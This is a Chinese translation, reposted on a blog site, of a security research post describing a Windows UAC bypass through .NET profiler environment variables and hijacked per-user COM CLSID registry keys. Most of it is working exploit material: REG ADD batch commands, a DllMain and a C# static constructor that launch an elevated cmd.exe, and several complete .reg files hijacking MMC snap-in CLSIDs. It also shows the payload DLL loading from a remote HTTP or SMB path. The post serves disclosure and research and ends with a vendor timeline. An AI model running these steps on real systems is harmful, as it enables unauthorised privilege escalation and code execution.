美文网首页漏洞分析程序员
翻译:通过.NET程序提权绕过UAC

翻译:通过.NET程序提权绕过UAC

作者: anhkgg | 来源:发表于2017-09-21 13:45 被阅读23次

    .NET框架可以通过用户自定义环境变量和CLSID注册表项来加载profiler DLL或者COM组件DLL,甚至当前进程是提权的。这种行为可以被利用来绕过Windows 7到10(包括最近的RS3)系统的默认UAC设置,如通过自动提权.NET进程(MMC管理单元)来加载任意的DLL。

    介绍

    去年五月, Casey Smith在他的博客和Twitter上指出.NET分析器的DLL加载可能会被滥用,通过环境变量使合法的.NET程序加载一个恶意DLL

    当看到这一点,脑海中第一种想法就是,如果这个方法在高权限.NET进程也可以工作,那这将是一个绕过UAC的好办法。果然,确实如此。

    这个问题到写这篇博客时依然没有修复,而且可能一直如此——但是在7月,它被 Stefan Kanthak独立地发现并报告了,按完整披露流程公布了该问题。

    绕过UAC

    要让一个.NET应用程序加载任意一个DLL,我们可以使用以下环境变量。

    COR_ENABLE_PROFILING=1
    COR_PROFILER={GUID}
    COR_PROFILER_PATH=C:\path\to\some.dll
    

    在.NET 4以下版本,CLSID必须在HKCR\CLSID{GUID}\InprocServer32定义包含profiling DLL的路径的注册表键。在最近版本中,CLR通过COR_PROFILER_PATH环境变量来找这个DLL,如果COR_PROFILER_PATH没有定义再使用CLSID查找。

    HKCR\CLSID是HKLM和HKCU下Software\Classes\CLSID组合起来显示的。在HKLM(或者系统环境变量)下创建CLSID键需要提权,而在HKCU下创建不需要。需要注意,在用户环境变量和HKCU注册表项下一切也都工作正常。

    可以简单使用一段批处理命令让它工作:

    REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
    REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
    REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
    REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
    mmc gpedit.msc
    

    这些命令在低权限命令行下可以在高权限的mmc.exe进程中加载C:\temp\test.dll(如果存在)。可以绕过Windows 7到10(包括最新RS3)系统的默认UAC设置。

    net-bypass-uac-1.png

    内嵌DLL的powershell POC可以在这里找到(只支持X64)。

    这个DLL只在DLL_PROCESS_ATTACH下运行一个cmd.exe,会产生一个提权的命令行终端,然后马上退出当前进程,阻止MMC控制台弹出。

    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
    {
        char cmd[] = "cmd.exe";
    
        switch (fdwReason)
        {
        case DLL_PROCESS_ATTACH:
            WinExec(cmd, SW_SHOWNORMAL);
            ExitProcess(0);
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    在Windows 7,8.1,10 1703和10 RS3 build 16275中测试通过。
    当然,如果你有可访问的SMB共享,UNC路径也可以工作。

    COR_PROFILER_PATH=\\server\share\test.dll
    

    根本原因

    COM运行时在运行高权限进程时会阻止在HKCU查找CLSID,所以这种绕过方式无效,但是.NET运行时没有阻止,在这种情况下,.NET在shim组件查找时会查找这些键值。

    net-bypass-uac-2.png

    如果要修复,需要CLR实现和COM一样的检查。

    更多维度

    现在我们知道CLR是如何工作的了,我们可以在堆栈中找他CLR调用的其他在HKCU查找CLSID的实例。一个实例是GPEdit(Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager)组件(在我测试虚拟机中CLSID是{B29D466A-857D-35BA-8712-A758861BFEA1})。

    net-bypass-uac-3.png

    查看HKCU已经存在的项中,好像是指向CLR程序及自己实现的组件。

    net-bypass-uac-4.png

    我们可以在HKCU下像这样定义一个COM项(.reg格式):

    Windows Registry Editor Version 5.00
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]
    @="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]
    @="C:\\Windows\\System32\\mscoree.dll"
    "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
    "Class"="TestDotNet.Class1"
    "RuntimeVersion"="v4.0.30319"
    "ThreadingModel"="Both"
    "CodeBase"="file://C://Temp//test_managed.dll"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]
    "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
    "Class"="TestDotNet.Class1"
    "RuntimeVersion"="v4.0.30319"
    "CodeBase"="file://C://Temp//test_managed.dll"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId]
    @="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
    

    MMC会加载我们的托管DLL,并且尝试访问TestDotNet.Class1类。C#没有一种简单的创建入口是DllMain的简单DLL(我们很懒所以不想写模块初始化),但是貌似注册表指向的类被加载了,所以我们只需要一个静态构造函数来执行我们的提权代码。

    using System;
    using System.Diagnostics;
    
    namespace TestDotNet
    {
       public class Class1
       {
          static Class1()
          { 
             Process.Start("cmd.exe");
             Environment.Exit(0);
          }
       }
    }
    

    将DLL放在注册表项定义的位置,然后运行gpedit.msc,可以看到弹出了一个提权的终端(和.NET一样)。

    net-bypass-uac-5.png net-bypass-uac-6.png

    这种方式一个有趣的点是CodeBase不仅限于本地文件和SMB共享,这个DLL还可以从HTTP链接中加载。

    "CodeBase"="http://server:8080/test_managed.dll"
    

    需要注意的是下载的DLL会拷贝到硬盘上,所以这种方式比本地DLL更好检测(硬盘+网络组合)。

    另外一件好事(对攻击者)是这种方式下可以滥用多种CLSID。
    下面是在compmgmt.msc,event、vwr.msc,secpol.msc和taskschd.msc可使用CLSID:

    1. 托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor组件
    net-bypass-uac-7.png
    Windows Registry Editor Version 5.00
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]
    @="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]
    @="C:\\Windows\\System32\\mscoree.dll"
    "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
    "Class"="TestDotNet.Class1"
    "RuntimeVersion"="v2.0.50727"
    "ThreadingModel"="Both"
    "CodeBase"="file://C://Temp//test_managed.dll"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]
    "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
    "Class"="TestDotNet.Class1"
    "RuntimeVersion"="v2.0.50727"
    "CodeBase"="file://C://Temp//test_managed.dll"
    
    1. Native DLL的NDP SymBinder组件,劫持\Server项
    net-bypass-uac-8.png
    Windows Registry Editor Version 5.00
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]
    @="NDP SymBinder"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]
    @="C:\\Windows\\System32\\mscoree.dll"
    "ThreadingModel"="Both"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\4.0.30319]
    @="4.0.30319"
    "ImplementedInThisVersion"=""
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ProgID]
    @="CorSymBinder_SxS"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server]
    @="C:\\Temp\\test_unmanaged.dll"
    
    1. Native DLL的Microsoft Common Language Runtime Meta Data组件,劫持\Server项(只有secpol.msc可用)
    net-bypass-uac-9.png
    Windows Registry Editor Version 5.00
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]
    @="Microsoft Common Language Runtime Meta Data"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32]
    @="C:\\Windows\\System32\\mscoree.dll"
    "ThreadingModel"="Both"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32\4.0.30319]
    @="4.0.30319"
    "ImplementedInThisVersion"=""
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\ProgID]
    @="CLRMetaData.CorRuntimeHost.2"
    
    [HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\Server]
    @="..\\..\\..\\..\\Temp\\test_unmanaged.dll"
    

    (注意:路径必须是相对的,否则mmc.exe会尝试加载C:\Windows\Microsoft.NET\Framework64\v4.0.30319\C:\Temp\test_unmanaged.dll)

    不是安全边界

    微软多次申明UAC不是一个安全边界,安全从业者以更务实的角度来看它:不要信任UAC,不要用admin运行,用非admin用户运行不需要admin的任务,我非常赞同这种说法。

    但是依然很多人用admin运行所有的东西,他们都是渗透测试人员和红色组织(都是坏人)感兴趣的目标。所以我猜测还会有新的关于UAC的有趣技术。

    如果为了渗透测试,我推荐使用@tiraniddo的例子一个已经实现另一个也快来了),它不需要加载DLL,并且目前大部分EDR解决方案还不能捕获它。

    另外,如果你也在研究绕过UAC,这个主题外有很多资源,但是下面的必须读一下:

    • @enigma0x3's research (and his upcoming DerbyCon talk)
    • @tiraniddo's bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 & part 3
    • @hFireF0X's UACME project that implements most known UAC bypasses, and his posts on kernelmode
    • @FuzzySec's UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell

    非常感谢Casey Smith(@subtee)指出.NET profiler DLL技巧,并且感谢对微软开发者找到根本原因给予的帮助,谢谢Matt Graeber (@mattifestation) 的意见和review。

    进展时间

    2017-05-19 发现bypass
    2017-05-20 给MSRC发邮件 (cc'ing an MS dev as suggested by @mattifestation)
    2017-05-22 MSRC创建主题 #38811
    2017-05-20/23 和 MS dev讨论
    2017-06-24 MSRC回复: "We have finished our investigation and determined this does not meet the bar for servicing downlevel. UAC is not a security boundary."
    2017-07-05 Stefan Kanthak绕过方案的完整披露
    2017-09-15 发表本篇文章

    文章来源:https://offsec.provadys.com/UAC-bypass-dotnet.html

    转载请注明:http://anhkgg.com/tans-net-bypass-uac/

    相关文章

      网友评论

        本文标题:翻译:通过.NET程序提权绕过UAC

        本文链接:https://www.haomeiwen.com/subject/azvzsxtx.html